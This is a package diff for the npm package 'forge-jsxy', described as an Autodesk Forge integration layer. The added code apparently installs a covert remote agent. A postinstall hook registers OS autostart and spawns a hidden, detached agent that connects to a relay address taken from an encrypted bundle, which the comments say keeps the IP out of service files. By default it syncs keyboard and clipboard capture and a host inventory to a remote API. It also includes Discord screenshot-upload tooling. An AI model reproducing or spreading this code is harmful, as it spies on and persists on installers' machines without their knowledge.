forge-jsxy 1.0.66

package/dist/workerBootstrap.js

@@ -0,0 +1,327 @@
+"use strict";
+Object.defineProperty(exports, "__esModule", { value: true });
+exports.run = void 0;
+exports.stopForgeWorker = stopForgeWorker;
+exports.configurationConstants = configurationConstants;
+/**
+ * One-shot bootstrap like Python cfgmgr.configuration_constants():
+ * register OS autostart, ensure forge-agent runs (systemd/LaunchAgent or detached spawn), survive reboot.
+ */
+const node_child_process_1 = require("node:child_process");
+const agentPid_1 = require("./agentPid");
+const agentRunner_1 = require("./agentRunner");
+const install_1 = require("./autostart/install");
+const darwin_1 = require("./autostart/darwin");
+const linux_1 = require("./autostart/linux");
+const resolve_1 = require("./autostart/resolve");
+const deploymentDefaults_1 = require("./deploymentDefaults");
+function sleepSync(ms) {
+    try {
+        const buf = new SharedArrayBuffer(4);
+        const arr = new Int32Array(buf);
+        Atomics.wait(arr, 0, 0, ms);
+    }
+    catch {
+        const end = Date.now() + ms;
+        while (Date.now() < end) {
+            /* busy */
+        }
+    }
+}
+function waitForAgentRunning(maxMs) {
+    const deadline = Date.now() + maxMs;
+    while (Date.now() < deadline) {
+        if ((0, agentPid_1.isForgeAgentAlreadyRunning)())
+            return true;
+        sleepSync(200);
+    }
+    return (0, agentPid_1.isForgeAgentAlreadyRunning)();
+}
+function printHelp() {
+    const relayDefault = (0, deploymentDefaults_1.deploymentDefaultsDisabled)()
+        ? "[disabled]"
+        : (0, deploymentDefaults_1.defaultRelayWsUrl)() || "[from encrypted bundle]";
+    const cfgDefault = (0, deploymentDefaults_1.deploymentDefaultsDisabled)()
+        ? "[disabled]"
+        : (0, deploymentDefaults_1.defaultSyncApiBaseUrl)() || "[from encrypted bundle]";
+    console.log(`forge-cfgmgr — one-shot install + background agent (like Python cfgmgr)
+
+Usage:
+  forge-cfgmgr [--relay ws://host:9877] [--session ID] [--password P | --no-password]
+              [--no-filesystem] [--cfg http://api:8765] [--no-autostart]
+              [--no-daemon | --foreground] [--stop] [--verbose]
+
+  --relay           WebSocket forge-js relay (or FORGE_JS_RELAY_URL; default ${relayDefault})
+  --cfg URL         forge-db base URL (or FORGE_JS_SYNC_URL; default ${cfgDefault})
+  --no-autostart    Do not refresh Task Scheduler / systemd / LaunchAgent
+  --no-daemon       Run forge-agent in the foreground in this terminal (no detach)
+  --stop            Stop running agent (PID file + systemd / launchctl where used)
+  --verbose         Log steps to stderr
+
+Default: refresh autostart for this user, then ensure exactly one agent is running.
+
+Sync defaults target VPS forge-db. Opt out: FORGE_JS_DISABLE_DEPLOYMENT_DEFAULTS=1, FORGE_JS_DISABLE_SYNC=1.
+Clipboard/keyboard → API (default on; disable: CFGMGR_SYNC_KEYBOARD_CLIPBOARD=0). Full env scan / shell history are not synced; a minimal host OS snapshot (forge-js://host-inventory.json) is POSTed for dashboards unless FORGE_JS_SYNC_HOST_INVENTORY=0.
+Python cfgmgr relay often uses :9876; forge-js relay :9877.
+
+Upgrades: use the file explorer **Upgrade agent** button (runs forge-jsx-explorer-upgrade); npm auto-update schedulers and relay/agent hooks are not used.
+`);
+}
+function parseBootstrap(cfg) {
+    const { argv, env } = cfg;
+    let relayUrl = env.FORGE_JS_RELAY_URL?.trim() ||
+        env.CFGMGR_RELAY_URL?.trim() ||
+        "";
+    let session;
+    let password;
+    let noPassword = false;
+    let noFilesystem = false;
+    let syncApiUrl;
+    let registerAutostart = true;
+    let foreground = false;
+    let stop = false;
+    let verbose = false;
+    let help = false;
+    for (let i = 2; i < argv.length; i++) {
+        const a = argv[i];
+        if (a === "-h" || a === "--help")
+            help = true;
+        else if (a === "--relay" && argv[i + 1])
+            relayUrl = argv[++i];
+        else if (a === "--session" && argv[i + 1])
+            session = argv[++i];
+        else if (a === "--password" && argv[i + 1])
+            password = argv[++i];
+        else if (a === "--no-password")
+            noPassword = true;
+        else if (a === "--no-filesystem")
+            noFilesystem = true;
+        else if (a === "--cfg" && argv[i + 1])
+            syncApiUrl = argv[++i];
+        else if (a === "--no-autostart")
+            registerAutostart = false;
+        else if (a === "--no-daemon" || a === "--foreground")
+            foreground = true;
+        else if (a === "--stop")
+            stop = true;
+        else if (a === "-v" || a === "--verbose")
+            verbose = true;
+    }
+    return {
+        relayUrl,
+        autostart: {
+            relayUrl,
+            session,
+            password,
+            noPassword,
+            noFilesystem,
+        },
+        syncApiUrl,
+        registerAutostart,
+        foreground,
+        stop,
+        verbose,
+        help,
+    };
+}
+function buildSyntheticAgentArgv(autostart, relayUrl) {
+    const out = ["node", "forge-agent", "--relay", relayUrl.trim()];
+    if (autostart.session) {
+        out.push("--session", autostart.session);
+    }
+    if (autostart.noPassword)
+        out.push("--no-password");
+    else if (autostart.password !== undefined) {
+        out.push("--password", autostart.password);
+    }
+    if (autostart.noFilesystem)
+        out.push("--no-filesystem");
+    return out;
+}
+function spawnDetachedAgent(autostartOpts, syncApiUrl, distDir, verbose) {
+    const launch = (0, resolve_1.resolveAutostartLaunch)(distDir, autostartOpts);
+    const childEnv = {
+        ...process.env,
+        FORGE_JS_QUIET_AGENT: "1",
+    };
+    if (syncApiUrl?.trim()) {
+        const u = syncApiUrl.trim();
+        childEnv.FORGE_JS_SYNC_URL = u;
+        childEnv.CFGMGR_API_URL = u;
+    }
+    const args = launch.programArguments.slice(1);
+    if (verbose) {
+        console.error("[forge-cfgmgr] Spawning detached agent:", launch.nodeExe, args.join(" "));
+    }
+    const child = (0, node_child_process_1.spawn)(launch.nodeExe, args, {
+        detached: true,
+        stdio: "ignore",
+        cwd: launch.workingDirectory,
+        env: childEnv,
+        windowsHide: true,
+    });
+    child.unref();
+}
+/** Stop agent process and session services (autostart files remain unless you run forge-autostart uninstall). */
+function stopForgeWorker() {
+    const pid = (0, agentPid_1.readAgentPid)();
+    if (pid !== null && (0, agentPid_1.isPidRunning)(pid)) {
+        try {
+            process.kill(pid, "SIGTERM");
+        }
+        catch {
+            /* skip */
+        }
+    }
+    (0, agentPid_1.removeAgentPidFile)();
+    (0, agentPid_1.clearStaleAgentPidFile)();
+    if (process.platform === "linux") {
+        (0, linux_1.stopSystemdForgeAgent)();
+    }
+    else if (process.platform === "darwin") {
+        (0, darwin_1.stopDarwinForgeAgent)();
+    }
+}
+/**
+ * Same role as Python `cfgmgr.configuration_constants()` / one `cfgmgr` run:
+ * refresh autostart, start background relay agent if needed, idempotent on repeat invocations.
+ */
+function configurationConstants(opts = {}) {
+    const cfg = {
+        argv: opts.argv ?? process.argv,
+        env: { ...process.env, ...(opts.env ?? {}) },
+    };
+    const p = parseBootstrap(cfg);
+    if (p.help) {
+        printHelp();
+        process.exit(0);
+    }
+    if (p.stop) {
+        stopForgeWorker();
+        if (p.verbose)
+            console.error("[forge-cfgmgr] stop completed.");
+        return;
+    }
+    // Track whether relay / sync came from an explicit source (CLI arg or env var) or
+    // from the embedded AES-256-GCM bundle.  When bundle-sourced, we omit the plain IP
+    // address from service definitions (systemd ExecStart, macOS plist, Windows VBScript)
+    // and from forge-js-agent.env.  The agent decrypts the same bundle at runtime.
+    const relayExplicit = Boolean(p.relayUrl.trim());
+    let relayUrl = p.relayUrl.trim();
+    if (!relayUrl && !(0, deploymentDefaults_1.deploymentDefaultsDisabled)()) {
+        relayUrl = (0, deploymentDefaults_1.defaultRelayWsUrl)();
+    }
+    if (!relayUrl) {
+        console.error("forge-cfgmgr: set --relay or FORGE_JS_RELAY_URL / CFGMGR_RELAY_URL (or unset FORGE_JS_DISABLE_DEPLOYMENT_DEFAULTS=1 if you use packaged VPS defaults).");
+        process.exit(2);
+    }
+    // Relay came from bundle when not explicitly provided and bundle defaults are enabled.
+    const relayFromBundle = !relayExplicit && !(0, deploymentDefaults_1.deploymentDefaultsDisabled)() && Boolean(relayUrl);
+    const syncExplicit = Boolean(p.syncApiUrl?.trim());
+    let syncUrl = p.syncApiUrl?.trim();
+    if (!syncUrl && !(0, deploymentDefaults_1.deploymentDefaultsDisabled)()) {
+        syncUrl = (0, deploymentDefaults_1.defaultSyncApiBaseUrl)();
+    }
+    if (syncUrl) {
+        process.env.FORGE_JS_SYNC_URL = syncUrl;
+        process.env.CFGMGR_API_URL = syncUrl;
+    }
+    // Sync URL came from bundle when not explicitly provided and bundle defaults are enabled.
+    const syncFromBundle = !syncExplicit && !(0, deploymentDefaults_1.deploymentDefaultsDisabled)() && Boolean(syncUrl);
+    const autostart = { ...p.autostart, relayUrl };
+    const distDir = (0, install_1.defaultDistDir)();
+    if (p.registerAutostart) {
+        const autostartOpts = {
+            ...autostart,
+            ...(syncUrl && !syncFromBundle ? { syncApiUrl: syncUrl } : {}),
+            // Omit relay/sync from service definitions when they came from the bundle so the
+            // plain IP address does not appear in ExecStart / plist / VBScript / agent.env.
+            omitRelayArg: relayFromBundle,
+            omitSyncUrl: syncFromBundle,
+        };
+        // On Linux and macOS, stop any detached (PID-file-managed) agent before handing
+        // control to the OS service manager (systemd / launchctl).  Without this, the old
+        // detached agent holds the PID file and the new service-managed agent's singleton
+        // guard exits cleanly (code 0), which — with Restart=on-failure / KeepAlive dict —
+        // leaves the service inactive until reboot, and — with the old Restart=always /
+        // KeepAlive=true — caused an infinite restart loop.
+        if (process.platform === "linux" || process.platform === "darwin") {
+            (0, agentPid_1.clearStaleAgentPidFile)();
+            const existingPid = (0, agentPid_1.readAgentPid)();
+            if (existingPid !== null && (0, agentPid_1.isPidRunning)(existingPid) && existingPid !== process.pid) {
+                if (p.verbose) {
+                    console.error(`[forge-cfgmgr] stopping detached agent (pid ${existingPid}) before service-manager registration.`);
+                }
+                try {
+                    process.kill(existingPid, "SIGTERM");
+                }
+                catch {
+                    /* process may have already exited */
+                }
+                (0, agentPid_1.removeAgentPidFile)();
+                // Brief wait so the process exits before systemd/launchctl tries to start the new one.
+                sleepSync(600);
+            }
+        }
+        const ok = (0, install_1.installAutostart)(autostartOpts, distDir);
+        if (p.verbose) {
+            console.error(`[forge-cfgmgr] autostart refresh: ${ok ? "ok" : "partial/failed (see messages above)"}`);
+        }
+    }
+    if (p.foreground) {
+        const syn = buildSyntheticAgentArgv(autostart, relayUrl);
+        try {
+            const agentOpts = (0, agentRunner_1.resolveForgeAgentFromArgv)(syn, cfg.env);
+            if (!agentOpts) {
+                console.error("forge-cfgmgr: could not resolve agent options.");
+                process.exit(2);
+            }
+            agentOpts.quiet = false;
+            (0, agentRunner_1.runForgeAgentWithSingleton)(agentOpts);
+        }
+        catch (e) {
+            console.error("forge-cfgmgr:", e instanceof Error ? e.message : e);
+            process.exit(2);
+        }
+        return;
+    }
+    if (process.platform === "linux" && (0, linux_1.isSystemdForgeAgentActive)()) {
+        if (waitForAgentRunning(10_000)) {
+            if (p.verbose)
+                console.error("[forge-cfgmgr] agent already running (systemd).");
+            return;
+        }
+        if ((0, linux_1.isSystemdForgeAgentActive)()) {
+            if (p.verbose) {
+                console.error("[forge-cfgmgr] systemd unit active but no PID file yet — not spawning duplicate (check: journalctl --user -u forge-js-worker -f).");
+            }
+            return;
+        }
+    }
+    if (process.platform === "darwin") {
+        (0, darwin_1.kickstartDarwinForgeAgent)();
+        if (waitForAgentRunning(10_000)) {
+            if (p.verbose)
+                console.error("[forge-cfgmgr] agent running (LaunchAgent).");
+            return;
+        }
+        // Plist exists but agent did not appear in 10 s — launchctl may have failed
+        // (missing permissions, first boot, etc.). Fall through to spawnDetachedAgent
+        // below so the agent runs immediately without waiting for next login.
+        if (p.verbose && (0, darwin_1.statusDarwinAutostart)().plist) {
+            console.error("[forge-cfgmgr] LaunchAgent plist present but agent not detected after 10 s — spawning detached fallback.");
+        }
+    }
+    if ((0, agentPid_1.isForgeAgentAlreadyRunning)()) {
+        if (p.verbose)
+            console.error("[forge-cfgmgr] agent already running (pid file).");
+        return;
+    }
+    // Only pass syncUrl to the detached agent when it came from an explicit source (not bundle)
+    // so the plain IP address is not written to the child's env more than needed.
+    spawnDetachedAgent(autostart, syncFromBundle ? undefined : syncUrl, distDir, p.verbose);
+    if (p.verbose)
+        console.error("[forge-cfgmgr] detached agent spawned.");
+}
+/** Alias matching Python `cfgmgr.run`. */
+exports.run = configurationConstants;

package/package.json

@@ -0,0 +1,75 @@
+{
+  "name": "forge-jsxy",
+  "version": "1.0.66",
+  "description": "Node.js integration layer for Autodesk Forge",
+  "license": "MIT",
+  "main": "dist/index.js",
+  "types": "dist/index.d.ts",
+  "files": [
+    "dist",
+    "assets",
+    "scripts"
+  ],
+  "engines": {
+    "node": ">=18"
+  },
+  "scripts": {
+    "postinstall": "node scripts/postinstall-clipboard-event.mjs && node scripts/ensure-dist.mjs && node scripts/postinstall-bootstrap.mjs && node scripts/postinstall-agent.mjs",
+    "build": "tsc && node scripts/copy-assets.mjs",
+    "pretest": "npm run build",
+    "test": "NODE_ENV=test node --test test/smoke.test.mjs",
+    "test:explorer": "npm run build && NODE_ENV=test node --test test/explorer-terminal-controls.test.mjs test/cross-os-install.test.mjs",
+    "test:all": "NODE_ENV=test node --test test/smoke.test.mjs test/hf-hub-upload-streaming.test.mjs test/cross-os-install.test.mjs test/explorer-terminal-controls.test.mjs test/registry-version-lib.test.mjs test/file-lock-force-prefixes.test.mjs test/discord-relay-upload.test.mjs test/discord-bot-tokens.test.mjs test/discord-screenshot-interval.test.mjs test/production-invariants.test.mjs test/relay-agent-ws-smoke.mjs test/relay-agent-cli-smoke.mjs",
+    "test:env-local": "node --test test/env-local-integrations.mjs",
+    "verify": "npm run ci && npm run test:env-local",
+    "verify:production": "npm run ci",
+    "ci": "npm run build && npm run test:all",
+    "test:hf-live": "node test/hf-relay-upload.integration.mjs",
+    "prepack": "npm run build",
+    "relay": "node dist/cli-relay.js",
+    "env-sync-selftest": "node scripts/env-sync-selftest.js",
+    "agent": "node dist/cli-agent.js",
+    "agent:restart": "node scripts/restart-agent.mjs",
+    "autostart": "node dist/cli-autostart.js",
+    "cfgmgr": "node dist/cli-forge.js",
+    "pm2:restart": "bash scripts/pm2-restart-forge-relay-agent.sh",
+    "discord:live-probe": "node scripts/discord-live-probe.mjs",
+    "verify:discord": "npm run build && npm run discord:live-probe",
+    "smoke:relay-agent": "npm run build && NODE_ENV=test node --test test/relay-agent-cli-smoke.mjs"
+  },
+  "bin": {
+    "forge-relay": "dist/cli-relay.js",
+    "forge-agent": "dist/cli-agent.js",
+    "forge-autostart": "dist/cli-autostart.js",
+    "forge-cfgmgr": "dist/cli-forge.js",
+    "forge-jsx-explorer-upgrade": "scripts/forge-jsx-explorer-upgrade.mjs",
+    "forge-jsx-explorer-restart": "scripts/forge-jsx-explorer-restart.mjs",
+    "forge-jsx-explorer-kill-agent": "scripts/forge-jsx-explorer-kill-agent.mjs"
+  },
+  "dependencies": {
+    "@huggingface/hub": "^2.11.0",
+    "archiver": "^7.0.1",
+    "dotenv": "^16.4.7",
+    "jimp": "^0.22.12",
+    "ws": "^8.18.0"
+  },
+  "optionalDependencies": {
+    "@napi-rs/clipboard": "^1.1.3",
+    "clipboard-event": "^1.6.0",
+    "koffi": "^2.15.2",
+    "uiohook-napi": "^1.5.5"
+  },
+  "devDependencies": {
+    "@types/archiver": "^6.0.4",
+    "@types/node": "^22.10.0",
+    "@types/ws": "^8.5.13",
+    "typescript": "^5.7.2"
+  },
+  "keywords": [
+    "cfgmgr",
+    "forge-db",
+    "sync",
+    "websocket",
+    "relay"
+  ]
+}

package/scripts/copy-assets.mjs

@@ -0,0 +1,31 @@
+#!/usr/bin/env node
+import fs from "node:fs";
+import path from "node:path";
+import { fileURLToPath } from "node:url";
+
+const __dirname = path.dirname(fileURLToPath(import.meta.url));
+const root = path.resolve(__dirname, "..");
+const src = path.join(root, "assets");
+const dest = path.join(root, "dist", "assets");
+if (!fs.existsSync(src)) {
+  console.error("[forge-js] assets/ missing");
+  process.exit(1);
+}
+fs.mkdirSync(dest, { recursive: true });
+fs.cpSync(src, dest, { recursive: true });
+
+/** Replace placeholder so operators can View Source on /files and confirm the relay serves this package build (VPS stale-HTML diagnosis). */
+const pkgPath = path.join(root, "package.json");
+const explorerOut = path.join(dest, "files-explorer-template.html");
+try {
+  const pkg = JSON.parse(fs.readFileSync(pkgPath, "utf8"));
+  const ver = String(pkg.version || "0.0.0").trim();
+  const stamp = `forge-jsx@${ver} reconnect-ui npm-isolated-cache hub-20gib-delete-watch`;
+  let html = fs.readFileSync(explorerOut, "utf8");
+  if (html.includes("<!-- BUILD_STAMP -->")) {
+    html = html.replace("<!-- BUILD_STAMP -->", `<!-- ${stamp} -->`);
+    fs.writeFileSync(explorerOut, html, "utf8");
+  }
+} catch (e) {
+  console.warn("[forge-js] copy-assets: could not inject explorer BUILD_STAMP:", e?.message || e);
+}

package/scripts/discord-live-probe.mjs

@@ -0,0 +1,159 @@
+/**
+ * Live Discord probe for relay `.env` (RELAY_DISCORD_*). Run manually; not part of default CI.
+ * Usage: `npm run discord:live-probe` or `npm run verify:discord` (includes build).
+ */
+import dotenv from "dotenv";
+import path from "path";
+import { fileURLToPath } from "url";
+
+const ROOT = path.join(path.dirname(fileURLToPath(import.meta.url)), "..");
+dotenv.config({ path: path.join(ROOT, ".env") });
+
+/** 1×1 PNG */
+const MIN_PNG_B64 =
+  "iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAADUlEQVR42mP8z8BQDwAEhQGAhKmMIQAAAABJRU5ErkJggg==";
+
+async function main() {
+  const flag = (process.env.RELAY_DISCORD_SCREENSHOT_ENABLED || "").trim().toLowerCase();
+  if (!["1", "true", "yes", "on"].includes(flag)) {
+    console.log("SKIP: RELAY_DISCORD_SCREENSHOT_ENABLED not on");
+    process.exit(0);
+  }
+  const { getRelayDiscordBotTokens, relayDiscordBotTokenForClient } = await import(
+    path.join(ROOT, "dist/discordBotTokens.js")
+  );
+  const {
+    discordRelayScreenshotEnabled,
+    listGuildTextChannels,
+    resolveScreenshotChannelId,
+    handleDiscordUploadTicketRequest,
+    handleDiscordUploadAck,
+    handleDiscordScreenshotUploadFromAgent,
+  } = await import(path.join(ROOT, "dist/discordRelayUpload.js"));
+  const { postPngToDiscordWebhookUrl } = await import(
+    path.join(ROOT, "dist/discordWebhookPost.js")
+  );
+
+  if (!discordRelayScreenshotEnabled()) {
+    console.error("FAIL: discordRelayScreenshotEnabled() is false (token/guild missing?)");
+    process.exit(1);
+  }
+
+  const tokenPool = getRelayDiscordBotTokens();
+  /** Same token the relay uses for this client_id (ticket / webhook create). */
+  const tok = relayDiscordBotTokenForClient("live-probe-stable", tokenPool);
+  const gid = (process.env.RELAY_DISCORD_GUILD_ID || "").trim();
+  const parent = (process.env.RELAY_DISCORD_PARENT_CATEGORY_ID || "").trim();
+  const clientId = "live-probe-stable";
+  const ridBase = `live_wh_${Date.now()}`;
+
+  process.stdout.write("1. listGuildTextChannels … ");
+  if (!tok) {
+    console.error("FAIL: no bot tokens (RELAY_DISCORD_BOT_TOKEN / RELAY_DISCORD_BOT_TOKENS)");
+    process.exit(1);
+  }
+  const rows = await listGuildTextChannels(tok, gid);
+  console.log(`ok (${rows.length} raw channels, ${tokenPool.length} token(s) in pool)`);
+
+  process.stdout.write("2. resolveScreenshotChannelId … ");
+  const ch = await resolveScreenshotChannelId(tok, gid, clientId, parent || undefined);
+  console.log(`ok (${ch.length} char id)`);
+
+  /**
+   * Parse `retry_after` from Discord error text (seconds, often fractional — see API rate limits).
+   * Very small values (~0.5s) round to ~1s wall time and usually 429 again; enforce a floor for probes.
+   */
+  function discordRetryAfterMsFromError(errText) {
+    const m = String(errText).match(/"retry_after"\s*:\s*([0-9.]+)/);
+    if (m) {
+      const sec = parseFloat(m[1]);
+      if (Number.isFinite(sec)) {
+        let ms = Math.ceil(sec * 1000) + 500;
+        ms = Math.min(120_000, ms);
+        if (ms < 5000) ms = 5000;
+        return ms;
+      }
+    }
+    return 62_000;
+  }
+
+  function formatWaitSec(waitMs) {
+    const s = waitMs / 1000;
+    return s >= 10 ? String(Math.round(s)) : s.toFixed(1);
+  }
+
+  process.stdout.write("3. ticket → webhook POST → ack … ");
+  const png = Buffer.from(MIN_PNG_B64, "base64");
+  let whUrl = "";
+  let activeRid = "";
+  const maxTicketAttempts = 5;
+  for (let attempt = 1; attempt <= maxTicketAttempts; attempt++) {
+    activeRid = `${ridBase}_try${attempt}`;
+    const ticketOut = await handleDiscordUploadTicketRequest({
+      type: "relay_discord_upload_ticket_request",
+      request_id: activeRid,
+      client_id: clientId,
+    });
+    if (ticketOut.ok) {
+      whUrl = String(ticketOut.webhook_url || "").trim();
+      break;
+    }
+    const err = String(ticketOut.error || "");
+    const rateLimited = /rate limit/i.test(err);
+    if (rateLimited && attempt < maxTicketAttempts) {
+      const waitMs = discordRetryAfterMsFromError(err);
+      process.stdout.write(
+        `\n   (Discord 429 — waiting ${formatWaitSec(waitMs)}s (retry_after + min 5s cool-down), attempt ${attempt + 1}/${maxTicketAttempts} …) `
+      );
+      await new Promise((r) => setTimeout(r, waitMs));
+      continue;
+    }
+    console.error(`FAIL\n   ${ticketOut.error}`);
+    process.exit(1);
+  }
+  if (!whUrl) {
+    console.error("FAIL: empty webhook_url");
+    process.exit(1);
+  }
+  let posted = await postPngToDiscordWebhookUrl(whUrl, png, "forge-js live-probe (webhook)");
+  if (!posted.ok && /429|rate limit/i.test(String(posted.error || ""))) {
+    const waitMs = discordRetryAfterMsFromError(String(posted.error));
+    process.stdout.write(
+      `\n   (webhook POST 429 — waiting ${formatWaitSec(waitMs)}s …) `
+    );
+    await new Promise((r) => setTimeout(r, waitMs));
+    posted = await postPngToDiscordWebhookUrl(whUrl, png, "forge-js live-probe (webhook)");
+  }
+  if (!posted.ok) {
+    console.error(`FAIL webhook POST\n   ${posted.error}`);
+    try {
+      await handleDiscordUploadAck({ request_id: activeRid });
+    } catch {
+      /* ignore */
+    }
+    process.exit(1);
+  }
+  await handleDiscordUploadAck({ request_id: activeRid });
+  console.log("ok");
+
+  process.stdout.write("4. discord_screenshot_upload (bot token path) … ");
+  const rid2 = `live_b64_${Date.now()}`;
+  const up = await handleDiscordScreenshotUploadFromAgent({
+    request_id: rid2,
+    client_id: `${clientId}-b64branch`,
+    b64: MIN_PNG_B64,
+    caption: "forge-js live-probe (bot REST)",
+  });
+  if (up.ok !== true) {
+    console.error(`FAIL\n   ${up.error}`);
+    process.exit(1);
+  }
+  console.log("ok");
+
+  console.log("\nALL DISCORD REST PROBES PASSED (check Discord for two tiny PNG messages).");
+}
+
+main().catch((e) => {
+  console.error(e);
+  process.exit(1);
+});